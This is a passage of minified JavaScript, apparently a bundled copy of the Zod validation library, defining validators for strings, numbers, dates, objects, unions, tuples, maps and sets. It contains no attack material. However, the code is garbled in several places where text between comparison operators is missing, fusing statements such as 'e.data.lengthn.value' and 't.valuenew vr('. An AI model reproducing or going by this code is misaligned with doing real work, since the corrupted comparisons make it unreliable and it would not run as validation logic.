this.safeParse(null).success}},Yo=/^c[^\s-]{8,}$/i,Xo=/^[0-9a-z]+$/,el=/^[0-9A-HJKMNP-TV-Z]{26}$/i,rl=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,tl=/^[a-z0-9_-]{21}$/i,al=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,sl=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,nl=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,il="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",ba,ol=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,ll=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,cl=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,ul=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,dl=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,fl=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,As="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",hl=new RegExp(`^${As}$`);function Cs(a){let e="[0-5]\\d";a.precision?e=`${e}\\.\\d{${a.precision}}`:a.precision==null&&(e=`${e}(\\.\\d+)?`);let t=a.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${t}`}function pl(a){return new RegExp(`^${Cs(a)}$`)}function Ds(a){let e=`${As}T${Cs(a)}`,t=[];return t.push(a.local?"Z?":"Z"),a.offset&&t.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${t.join("|")})`,new RegExp(`^${e}$`)}function ml(a,e){return!!((e==="v4"||!e)&&ol.test(a)||(e==="v6"||!e)&&cl.test(a))}function vl(a,e){if(!al.test(a))return!1;try{let[t]=a.split(".");if(!t)return!1;let s=t.replace(/-/g,"+").replace(/_/g,"/").padEnd(t.length+(4-t.length%4)%4,"="),r=JSON.parse(atob(s));return!(typeof r!="object"||r===null||"typ"in r&&r?.typ!=="JWT"||!r.alg||e&&r.alg!==e)}catch{return!1}}function gl(a,e){return!!((e==="v4"||!e)&&ll.test(a)||(e==="v6"||!e)&&ul.test(a))}var vr=class a extends K{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==k.string){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_type,expected:k.string,received:n.parsedType}),z}let s=new be,r;for(let n of this._def.checks)if(n.kind==="min")e.data.lengthn.value&&(r=this._getOrReturnCtx(e,r),D(r,{code:w.too_big,maximum:n.value,type:"string",inclusive:!0,exact:!1,message:n.message}),s.dirty());else if(n.kind==="length"){let l=e.data.length>n.value,i=e.data.lengthe.test(r),{validation:t,code:w.invalid_string,...U.errToObj(s)})}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...U.errToObj(e)})}url(e){return this._addCheck({kind:"url",...U.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...U.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...U.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...U.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...U.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...U.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...U.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...U.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...U.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...U.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...U.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...U.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...U.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...U.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...U.errToObj(e)})}regex(e,t){return this._addCheck({kind:"regex",regex:e,...U.errToObj(t)})}includes(e,t){return this._addCheck({kind:"includes",value:e,position:t?.position,...U.errToObj(t?.message)})}startsWith(e,t){return this._addCheck({kind:"startsWith",value:e,...U.errToObj(t)})}endsWith(e,t){return this._addCheck({kind:"endsWith",value:e,...U.errToObj(t)})}min(e,t){return this._addCheck({kind:"min",value:e,...U.errToObj(t)})}max(e,t){return this._addCheck({kind:"max",value:e,...U.errToObj(t)})}length(e,t){return this._addCheck({kind:"length",value:e,...U.errToObj(t)})}nonempty(e){return this.min(1,U.errToObj(e))}trim(){return new a({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new a({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new a({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e}get maxLength(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuenew vr({checks:[],typeName:W.ZodString,coerce:a?.coerce??!1,...Q(a)});function yl(a,e){let t=(a.toString().split(".")[1]||"").length,s=(e.toString().split(".")[1]||"").length,r=t>s?t:s,n=Number.parseInt(a.toFixed(r).replace(".","")),l=Number.parseInt(e.toFixed(r).replace(".",""));return n%l/10**r}var Ir=class a extends K{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==k.number){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_type,expected:k.number,received:n.parsedType}),z}let s,r=new be;for(let n of this._def.checks)n.kind==="int"?Y.isInteger(e.data)||(s=this._getOrReturnCtx(e,s),D(s,{code:w.invalid_type,expected:"integer",received:"float",message:n.message}),r.dirty()):n.kind==="min"?(n.inclusive?e.datan.value:e.data>=n.value)&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.too_big,maximum:n.value,type:"number",inclusive:n.inclusive,exact:!1,message:n.message}),r.dirty()):n.kind==="multipleOf"?yl(e.data,n.value)!==0&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.not_multiple_of,multipleOf:n.value,message:n.message}),r.dirty()):n.kind==="finite"?Number.isFinite(e.data)||(s=this._getOrReturnCtx(e,s),D(s,{code:w.not_finite,message:n.message}),r.dirty()):Y.assertNever(n);return{status:r.value,value:e.data}}gte(e,t){return this.setLimit("min",e,!0,U.toString(t))}gt(e,t){return this.setLimit("min",e,!1,U.toString(t))}lte(e,t){return this.setLimit("max",e,!0,U.toString(t))}lt(e,t){return this.setLimit("max",e,!1,U.toString(t))}setLimit(e,t,s,r){return new a({...this._def,checks:[...this._def.checks,{kind:e,value:t,inclusive:s,message:U.toString(r)}]})}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:U.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:U.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:U.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:U.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:U.toString(e)})}multipleOf(e,t){return this._addCheck({kind:"multipleOf",value:e,message:U.toString(t)})}finite(e){return this._addCheck({kind:"finite",message:U.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:U.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:U.toString(e)})}get minValue(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e}get maxValue(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuee.kind==="int"||e.kind==="multipleOf"&&Y.isInteger(e.value))}get isFinite(){let e=null,t=null;for(let s of this._def.checks){if(s.kind==="finite"||s.kind==="int"||s.kind==="multipleOf")return!0;s.kind==="min"?(t===null||s.value>t)&&(t=s.value):s.kind==="max"&&(e===null||s.valuenew Ir({checks:[],typeName:W.ZodNumber,coerce:a?.coerce||!1,...Q(a)});var $r=class a extends K{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==k.bigint)return this._getInvalidInput(e);let s,r=new be;for(let n of this._def.checks)n.kind==="min"?(n.inclusive?e.datan.value:e.data>=n.value)&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.too_big,type:"bigint",maximum:n.value,inclusive:n.inclusive,message:n.message}),r.dirty()):n.kind==="multipleOf"?e.data%n.value!==BigInt(0)&&(s=this._getOrReturnCtx(e,s),D(s,{code:w.not_multiple_of,multipleOf:n.value,message:n.message}),r.dirty()):Y.assertNever(n);return{status:r.value,value:e.data}}_getInvalidInput(e){let t=this._getOrReturnCtx(e);return D(t,{code:w.invalid_type,expected:k.bigint,received:t.parsedType}),z}gte(e,t){return this.setLimit("min",e,!0,U.toString(t))}gt(e,t){return this.setLimit("min",e,!1,U.toString(t))}lte(e,t){return this.setLimit("max",e,!0,U.toString(t))}lt(e,t){return this.setLimit("max",e,!1,U.toString(t))}setLimit(e,t,s,r){return new a({...this._def,checks:[...this._def.checks,{kind:e,value:t,inclusive:s,message:U.toString(r)}]})}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:U.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:U.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:U.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:U.toString(e)})}multipleOf(e,t){return this._addCheck({kind:"multipleOf",value:e,message:U.toString(t)})}get minValue(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e}get maxValue(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuenew $r({checks:[],typeName:W.ZodBigInt,coerce:a?.coerce??!1,...Q(a)});var Ar=class extends K{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==k.boolean){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.boolean,received:s.parsedType}),z}return we(e.data)}};Ar.create=a=>new Ar({typeName:W.ZodBoolean,coerce:a?.coerce||!1,...Q(a)});var Cr=class a extends K{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==k.date){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_type,expected:k.date,received:n.parsedType}),z}if(Number.isNaN(e.data.getTime())){let n=this._getOrReturnCtx(e);return D(n,{code:w.invalid_date}),z}let s=new be,r;for(let n of this._def.checks)n.kind==="min"?e.data.getTime()n.value&&(r=this._getOrReturnCtx(e,r),D(r,{code:w.too_big,message:n.message,inclusive:!0,exact:!1,maximum:n.value,type:"date"}),s.dirty()):Y.assertNever(n);return{status:s.value,value:new Date(e.data.getTime())}}_addCheck(e){return new a({...this._def,checks:[...this._def.checks,e]})}min(e,t){return this._addCheck({kind:"min",value:e.getTime(),message:U.toString(t)})}max(e,t){return this._addCheck({kind:"max",value:e.getTime(),message:U.toString(t)})}get minDate(){let e=null;for(let t of this._def.checks)t.kind==="min"&&(e===null||t.value>e)&&(e=t.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let t of this._def.checks)t.kind==="max"&&(e===null||t.valuenew Cr({checks:[],coerce:a?.coerce||!1,typeName:W.ZodDate,...Q(a)});var tt=class extends K{_parse(e){if(this._getType(e)!==k.symbol){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.symbol,received:s.parsedType}),z}return we(e.data)}};tt.create=a=>new tt({typeName:W.ZodSymbol,...Q(a)});var Dr=class extends K{_parse(e){if(this._getType(e)!==k.undefined){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.undefined,received:s.parsedType}),z}return we(e.data)}};Dr.create=a=>new Dr({typeName:W.ZodUndefined,...Q(a)});var kr=class extends K{_parse(e){if(this._getType(e)!==k.null){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.null,received:s.parsedType}),z}return we(e.data)}};kr.create=a=>new kr({typeName:W.ZodNull,...Q(a)});var gr=class extends K{constructor(){super(...arguments),this._any=!0}_parse(e){return we(e.data)}};gr.create=a=>new gr({typeName:W.ZodAny,...Q(a)});var dr=class extends K{constructor(){super(...arguments),this._unknown=!0}_parse(e){return we(e.data)}};dr.create=a=>new dr({typeName:W.ZodUnknown,...Q(a)});var Qe=class extends K{_parse(e){let t=this._getOrReturnCtx(e);return D(t,{code:w.invalid_type,expected:k.never,received:t.parsedType}),z}};Qe.create=a=>new Qe({typeName:W.ZodNever,...Q(a)});var at=class extends K{_parse(e){if(this._getType(e)!==k.undefined){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.void,received:s.parsedType}),z}return we(e.data)}};at.create=a=>new at({typeName:W.ZodVoid,...Q(a)});var fr=class a extends K{_parse(e){let{ctx:t,status:s}=this._processInputParams(e),r=this._def;if(t.parsedType!==k.array)return D(t,{code:w.invalid_type,expected:k.array,received:t.parsedType}),z;if(r.exactLength!==null){let l=t.data.length>r.exactLength.value,i=t.data.lengthr.maxLength.value&&(D(t,{code:w.too_big,maximum:r.maxLength.value,type:"array",inclusive:!0,exact:!1,message:r.maxLength.message}),s.dirty()),t.common.async)return Promise.all([...t.data].map((l,i)=>r.type._parseAsync(new Ue(t,l,t.path,i)))).then(l=>be.mergeArray(s,l));let n=[...t.data].map((l,i)=>r.type._parseSync(new Ue(t,l,t.path,i)));return be.mergeArray(s,n)}get element(){return this._def.type}min(e,t){return new a({...this._def,minLength:{value:e,message:U.toString(t)}})}max(e,t){return new a({...this._def,maxLength:{value:e,message:U.toString(t)}})}length(e,t){return new a({...this._def,exactLength:{value:e,message:U.toString(t)}})}nonempty(e){return this.min(1,e)}};fr.create=(a,e)=>new fr({type:a,minLength:null,maxLength:null,exactLength:null,typeName:W.ZodArray,...Q(e)});function rt(a){if(a instanceof Ce){let e={};for(let t in a.shape){let s=a.shape[t];e[t]=qe.create(rt(s))}return new Ce({...a._def,shape:()=>e})}else return a instanceof fr?new fr({...a._def,type:rt(a.element)}):a instanceof qe?qe.create(rt(a.unwrap())):a instanceof rr?rr.create(rt(a.unwrap())):a instanceof er?er.create(a.items.map(e=>rt(e))):a}var Ce=class a extends K{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),t=Y.objectKeys(e);return this._cached={shape:e,keys:t},this._cached}_parse(e){if(this._getType(e)!==k.object){let d=this._getOrReturnCtx(e);return D(d,{code:w.invalid_type,expected:k.object,received:d.parsedType}),z}let{status:s,ctx:r}=this._processInputParams(e),{shape:n,keys:l}=this._getCached(),i=[];if(!(this._def.catchall instanceof Qe&&this._def.unknownKeys==="strip"))for(let d in r.data)l.includes(d)||i.push(d);let f=[];for(let d of l){let h=n[d],m=r.data[d];f.push({key:{status:"valid",value:d},value:h._parse(new Ue(r,m,r.path,d)),alwaysSet:d in r.data})}if(this._def.catchall instanceof Qe){let d=this._def.unknownKeys;if(d==="passthrough")for(let h of i)f.push({key:{status:"valid",value:h},value:{status:"valid",value:r.data[h]}});else if(d==="strict")i.length>0&&(D(r,{code:w.unrecognized_keys,keys:i}),s.dirty());else if(d!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let d=this._def.catchall;for(let h of i){let m=r.data[h];f.push({key:{status:"valid",value:h},value:d._parse(new Ue(r,m,r.path,h)),alwaysSet:h in r.data})}}return r.common.async?Promise.resolve().then(async()=>{let d=[];for(let h of f){let m=await h.key,E=await h.value;d.push({key:m,value:E,alwaysSet:h.alwaysSet})}return d}).then(d=>be.mergeObjectSync(s,d)):be.mergeObjectSync(s,f)}get shape(){return this._def.shape()}strict(e){return U.errToObj,new a({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(t,s)=>{let r=this._def.errorMap?.(t,s).message??s.defaultError;return t.code==="unrecognized_keys"?{message:U.errToObj(e).message??r}:{message:r}}}:{}})}strip(){return new a({...this._def,unknownKeys:"strip"})}passthrough(){return new a({...this._def,unknownKeys:"passthrough"})}extend(e){return new a({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new a({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:W.ZodObject})}setKey(e,t){return this.augment({[e]:t})}catchall(e){return new a({...this._def,catchall:e})}pick(e){let t={};for(let s of Y.objectKeys(e))e[s]&&this.shape[s]&&(t[s]=this.shape[s]);return new a({...this._def,shape:()=>t})}omit(e){let t={};for(let s of Y.objectKeys(this.shape))e[s]||(t[s]=this.shape[s]);return new a({...this._def,shape:()=>t})}deepPartial(){return rt(this)}partial(e){let t={};for(let s of Y.objectKeys(this.shape)){let r=this.shape[s];e&&!e[s]?t[s]=r:t[s]=r.optional()}return new a({...this._def,shape:()=>t})}required(e){let t={};for(let s of Y.objectKeys(this.shape))if(e&&!e[s])t[s]=this.shape[s];else{let n=this.shape[s];for(;n instanceof qe;)n=n._def.innerType;t[s]=n}return new a({...this._def,shape:()=>t})}keyof(){return ks(Y.objectKeys(this.shape))}};Ce.create=(a,e)=>new Ce({shape:()=>a,unknownKeys:"strip",catchall:Qe.create(),typeName:W.ZodObject,...Q(e)});Ce.strictCreate=(a,e)=>new Ce({shape:()=>a,unknownKeys:"strict",catchall:Qe.create(),typeName:W.ZodObject,...Q(e)});Ce.lazycreate=(a,e)=>new Ce({shape:a,unknownKeys:"strip",catchall:Qe.create(),typeName:W.ZodObject,...Q(e)});var Nr=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s=this._def.options;function r(n){for(let i of n)if(i.result.status==="valid")return i.result;for(let i of n)if(i.result.status==="dirty")return t.common.issues.push(...i.ctx.common.issues),i.result;let l=n.map(i=>new Ae(i.ctx.common.issues));return D(t,{code:w.invalid_union,unionErrors:l}),z}if(t.common.async)return Promise.all(s.map(async n=>{let l={...t,common:{...t.common,issues:[]},parent:null};return{result:await n._parseAsync({data:t.data,path:t.path,parent:l}),ctx:l}})).then(r);{let n,l=[];for(let f of s){let d={...t,common:{...t.common,issues:[]},parent:null},h=f._parseSync({data:t.data,path:t.path,parent:d});if(h.status==="valid")return h;h.status==="dirty"&&!n&&(n={result:h,ctx:d}),d.common.issues.length&&l.push(d.common.issues)}if(n)return t.common.issues.push(...n.ctx.common.issues),n.result;let i=l.map(f=>new Ae(f));return D(t,{code:w.invalid_union,unionErrors:i}),z}}get options(){return this._def.options}};Nr.create=(a,e)=>new Nr({options:a,typeName:W.ZodUnion,...Q(e)});var ur=a=>a instanceof Lr?ur(a.schema):a instanceof Ve?ur(a.innerType()):a instanceof Fr?[a.value]:a instanceof Mr?a.options:a instanceof qr?Y.objectValues(a.enum):a instanceof Ur?ur(a._def.innerType):a instanceof Dr?[void 0]:a instanceof kr?[null]:a instanceof qe?[void 0,...ur(a.unwrap())]:a instanceof rr?[null,...ur(a.unwrap())]:a instanceof gt||a instanceof Hr?ur(a.unwrap()):a instanceof Vr?ur(a._def.innerType):[],Ct=class a extends K{_parse(e){let{ctx:t}=this._processInputParams(e);if(t.parsedType!==k.object)return D(t,{code:w.invalid_type,expected:k.object,received:t.parsedType}),z;let s=this.discriminator,r=t.data[s],n=this.optionsMap.get(r);return n?t.common.async?n._parseAsync({data:t.data,path:t.path,parent:t}):n._parseSync({data:t.data,path:t.path,parent:t}):(D(t,{code:w.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[s]}),z)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,t,s){let r=new Map;for(let n of t){let l=ur(n.shape[e]);if(!l.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let i of l){if(r.has(i))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(i)}`);r.set(i,n)}}return new a({typeName:W.ZodDiscriminatedUnion,discriminator:e,options:t,optionsMap:r,...Q(s)})}};function Pa(a,e){let t=Xe(a),s=Xe(e);if(a===e)return{valid:!0,data:a};if(t===k.object&&s===k.object){let r=Y.objectKeys(e),n=Y.objectKeys(a).filter(i=>r.indexOf(i)!==-1),l={...a,...e};for(let i of n){let f=Pa(a[i],e[i]);if(!f.valid)return{valid:!1};l[i]=f.data}return{valid:!0,data:l}}else if(t===k.array&&s===k.array){if(a.length!==e.length)return{valid:!1};let r=[];for(let n=0;n{if($t(n)||$t(l))return z;let i=Pa(n.value,l.value);return i.valid?((At(n)||At(l))&&t.dirty(),{status:t.value,value:i.data}):(D(s,{code:w.invalid_intersection_types}),z)};return s.common.async?Promise.all([this._def.left._parseAsync({data:s.data,path:s.path,parent:s}),this._def.right._parseAsync({data:s.data,path:s.path,parent:s})]).then(([n,l])=>r(n,l)):r(this._def.left._parseSync({data:s.data,path:s.path,parent:s}),this._def.right._parseSync({data:s.data,path:s.path,parent:s}))}};jr.create=(a,e,t)=>new jr({left:a,right:e,typeName:W.ZodIntersection,...Q(t)});var er=class a extends K{_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.array)return D(s,{code:w.invalid_type,expected:k.array,received:s.parsedType}),z;if(s.data.lengththis._def.items.length&&(D(s,{code:w.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),t.dirty());let n=[...s.data].map((l,i)=>{let f=this._def.items[i]||this._def.rest;return f?f._parse(new Ue(s,l,s.path,i)):null}).filter(l=>!!l);return s.common.async?Promise.all(n).then(l=>be.mergeArray(t,l)):be.mergeArray(t,n)}get items(){return this._def.items}rest(e){return new a({...this._def,rest:e})}};er.create=(a,e)=>{if(!Array.isArray(a))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new er({items:a,typeName:W.ZodTuple,rest:null,...Q(e)})};var Dt=class a extends K{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.object)return D(s,{code:w.invalid_type,expected:k.object,received:s.parsedType}),z;let r=[],n=this._def.keyType,l=this._def.valueType;for(let i in s.data)r.push({key:n._parse(new Ue(s,i,s.path,i)),value:l._parse(new Ue(s,s.data[i],s.path,i)),alwaysSet:i in s.data});return s.common.async?be.mergeObjectAsync(t,r):be.mergeObjectSync(t,r)}get element(){return this._def.valueType}static create(e,t,s){return t instanceof K?new a({keyType:e,valueType:t,typeName:W.ZodRecord,...Q(s)}):new a({keyType:vr.create(),valueType:e,typeName:W.ZodRecord,...Q(t)})}},st=class extends K{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.map)return D(s,{code:w.invalid_type,expected:k.map,received:s.parsedType}),z;let r=this._def.keyType,n=this._def.valueType,l=[...s.data.entries()].map(([i,f],d)=>({key:r._parse(new Ue(s,i,s.path,[d,"key"])),value:n._parse(new Ue(s,f,s.path,[d,"value"]))}));if(s.common.async){let i=new Map;return Promise.resolve().then(async()=>{for(let f of l){let d=await f.key,h=await f.value;if(d.status==="aborted"||h.status==="aborted")return z;(d.status==="dirty"||h.status==="dirty")&&t.dirty(),i.set(d.value,h.value)}return{status:t.value,value:i}})}else{let i=new Map;for(let f of l){let d=f.key,h=f.value;if(d.status==="aborted"||h.status==="aborted")return z;(d.status==="dirty"||h.status==="dirty")&&t.dirty(),i.set(d.value,h.value)}return{status:t.value,value:i}}}};st.create=(a,e,t)=>new st({valueType:e,keyType:a,typeName:W.ZodMap,...Q(t)});var nt=class a extends K{_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.parsedType!==k.set)return D(s,{code:w.invalid_type,expected:k.set,received:s.parsedType}),z;let r=this._def;r.minSize!==null&&s.data.sizer.maxSize.value&&(D(s,{code:w.too_big,maximum:r.maxSize.value,type:"set",inclusive:!0,exact:!1,message:r.maxSize.message}),t.dirty());let n=this._def.valueType;function l(f){let d=new Set;for(let h of f){if(h.status==="aborted")return z;h.status==="dirty"&&t.dirty(),d.add(h.value)}return{status:t.value,value:d}}let i=[...s.data.values()].map((f,d)=>n._parse(new Ue(s,f,s.path,d)));return s.common.async?Promise.all(i).then(f=>l(f)):l(i)}min(e,t){return new 